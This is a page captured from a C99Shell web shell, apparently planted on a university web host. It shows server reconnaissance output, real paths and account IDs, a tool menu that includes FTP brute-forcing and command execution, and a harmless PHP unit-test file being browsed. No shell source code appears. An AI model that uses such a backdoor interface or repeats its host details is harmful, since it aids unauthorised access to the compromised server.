!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/Doubler/Generator/   drwxr-xr-x
Free 117.48 GB of 200.55 GB (58.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ClassCreatorSpec.php (1.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy\Doubler\Generator;

use 
PhpSpec\ObjectBehavior;

class 
ClassCreatorSpec extends ObjectBehavior
{
    
/**
     * @param \Prophecy\Doubler\Generator\ClassCodeGenerator $generator
     */
    
function let($generator)
    {
        
$this->beConstructedWith($generator);
    }

    
/**
     * @param \Prophecy\Doubler\Generator\Node\ClassNode $class
     */
    
function it_evaluates_code_generated_by_ClassCodeGenerator($generator$class)
    {
        
$generator->generate('stdClass'$class)->shouldBeCalled()->willReturn(
            
'return 42;'
        
);

        
$this->create('stdClass'$class)->shouldReturn(42);
    }

    
/**
     * @param \Prophecy\Doubler\Generator\Node\ClassNode $class
     */
    
function it_throws_an_exception_if_class_does_not_exist_after_evaluation($generator$class)
    {
        
$generator->generate('CustomClass'$class)->shouldBeCalled()->willReturn(
            
'return 42;'
        
);

        
$class->getParentClass()->willReturn('stdClass');
        
$class->getInterfaces()->willReturn(array('Interface1''Interface2'));

        
$this->shouldThrow('Prophecy\Exception\Doubler\ClassCreatorException')
            ->
duringCreate('CustomClass'$class);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0148 ]--